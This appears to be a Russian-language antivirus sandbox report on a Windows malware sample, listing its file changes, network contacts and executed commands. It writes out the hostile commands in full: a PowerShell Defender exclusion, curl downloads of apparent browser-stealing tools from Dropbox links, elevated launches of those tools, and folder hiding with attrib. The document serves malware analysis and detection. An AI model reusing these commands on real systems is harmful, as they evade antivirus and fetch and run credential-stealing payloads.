Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\SystemProvider'"
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ywslzjsu.bat
- nul
- %ALLUSERSPROFILE%\microsoft\windows\systemprovider\diagnostics\chromelevator.exe
- %ALLUSERSPROFILE%\microsoft\windows\systemprovider\diagnostics\browsersnatch.exe
- %ALLUSERSPROFILE%\microsoft\windows\systemprovider\diagnostics\boom.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
Удаляет файлы, которые сам же создал
- %TEMP%\ywslzjsu.bat
Сетевая активность
Подключается к
- 'dr##box.com':443
- '10#.#1.38.38':80
TCP
Запросы HTTP GET
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?56##############
Другие
- 'dr##box.com':443
UDP
- DNS ASK dr##box.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\YwsLzjSU.bat"
- '<SYSTEM32>\fltmc.exe'
- '<SYSTEM32>\curl.exe' -L --silent --fail --output "%ALLUSERSPROFILE%\Microsoft\Windows\SystemProvider\Diagnostics\chromelevator.exe" "https://www.dropbox.com/scl/fi/rcghad8z1slogh4rkjutw/chromelevator.exe?rlkey=wekw...
- '<SYSTEM32>\curl.exe' -L --silent --fail --output "%ALLUSERSPROFILE%\Microsoft\Windows\SystemProvider\Diagnostics\BrowserSnatch.exe" "https://www.dropbox.com/scl/fi/k7hjw9cm4kt47ejdbktmn/BrowserSnatch.exe?rlkey=k845...
- '<SYSTEM32>\curl.exe' -L --silent --fail --output "%ALLUSERSPROFILE%\Microsoft\Windows\SystemProvider\Diagnostics\boom.exe" "https://www.dropbox.com/scl/fi/1f9nd9pwtcqnnat4o3qi7/boom.exe?rlkey=5ux2dcneqrzr8soz9qo1v0...
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Microsoft\Windows\SystemProvider"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Microsoft\Windows\SystemProvider\Diagnostics"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Start-Process -FilePath '.\chromelevator.exe' -Verb RunAs -Wait"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Start-Process -FilePath '.\BrowserSnatch.exe' -Verb RunAs -Wait"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Start-Process -FilePath '.\boom.exe' -Verb RunAs -Wait"
- '<SYSTEM32>\timeout.exe' /t 3 /nobreak
